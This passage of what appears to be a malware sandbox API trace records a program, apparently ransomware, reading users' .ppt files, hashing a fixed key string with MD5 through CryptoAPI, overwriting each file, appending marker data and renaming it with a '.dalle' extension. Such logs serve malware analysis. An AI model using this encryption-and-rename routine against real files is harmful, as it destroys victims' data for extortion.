Size=0x20) returned 0x3022ab0 [0121.118] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.118] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.118] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x8bf2, lpOverlapped=0x0) returned 1 [0121.119] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.119] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.119] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.119] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.119] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0121.120] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.120] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.120] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.120] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.120] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.120] GetLastError () returned 0x0 [0121.120] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.120] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0121.120] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.120] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8bf0) returned 0x3096780 [0121.121] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.121] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.121] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x8bed, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x8bed, lpOverlapped=0x0) returned 1 [0121.121] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.121] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8bf2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.121] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.121] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.121] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.121] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.121] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.121] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.121] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.121] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.121] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.121] CloseHandle (hObject=0x618) returned 1 [0121.122] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.122] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.122] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0121.122] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\eJ7XqPBACiw50mT5S.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\ej7xqpbaciw50mt5s.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\eJ7XqPBACiw50mT5S.ppt.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\ej7xqpbaciw50mt5s.ppt.dalle")) returned 1 [0121.124] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.124] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.124] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.124] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb134a2f0, ftCreationTime.dwHighDateTime=0x1d4cac2, ftLastAccessTime.dwLowDateTime=0x2388a370, ftLastAccessTime.dwHighDateTime=0x1d4cea5, ftLastWriteTime.dwLowDateTime=0x2388a370, ftLastWriteTime.dwHighDateTime=0x1d4cea5, nFileSizeHigh=0x0, nFileSizeLow=0x16891, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f9wy.ppt", cAlternateFileName="")) returned 1 [0121.125] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.125] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.125] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.125] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\f9wy.ppt") returned=".ppt" [0121.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\f9wy.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\f9wy.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.125] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=92305) returned 1 [0121.126] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.127] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1686b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.127] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.129] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.129] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.129] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.129] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x16891, lpOverlapped=0x0) returned 1 [0121.130] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.130] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.130] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.130] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.130] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0121.131] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.131] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.131] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.131] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.131] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.131] GetLastError () returned 0x0 [0121.131] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.131] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0121.131] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.131] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x16890) returned 0x3096780 [0121.131] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.131] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.131] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x1688c, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x1688c, lpOverlapped=0x0) returned 1 [0121.132] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.132] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16891, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.132] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.132] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.132] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.132] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.132] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.132] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.132] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.132] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.132] CloseHandle (hObject=0x618) returned 1 [0121.134] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0d20 [0121.134] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0121.134] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0121.134] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\f9wy.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\f9wy.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\f9wy.ppt.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\f9wy.ppt.dalle")) returned 1 [0121.137] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.137] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.138] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.138] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7421420, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x26b8a880, ftLastAccessTime.dwHighDateTime=0x1d4c764, ftLastWriteTime.dwLowDateTime=0x26b8a880, ftLastWriteTime.dwHighDateTime=0x1d4c764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qIBuq", cAlternateFileName="")) returned 1 [0121.138] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0d20 [0121.138] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0121.138] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.138] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30185d8 [0121.138] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.138] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30187b8 [0121.138] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.138] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.138] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.138] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3001720 | out: hHeap=0x5e0000) returned 1 [0121.138] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.138] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1050 | out: hHeap=0x5e0000) returned 1 [0121.138] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0121.138] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7421420, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x26b8a880, ftLastAccessTime.dwHighDateTime=0x1d4c764, ftLastWriteTime.dwLowDateTime=0x26b8a880, ftLastWriteTime.dwHighDateTime=0x1d4c764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qIBuq", cAlternateFileName="")) returned 0 [0121.138] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.138] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.138] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30186c8 | out: hHeap=0x5e0000) returned 1 [0121.138] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.138] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30186c8 [0121.139] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.139] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.139] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.140] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 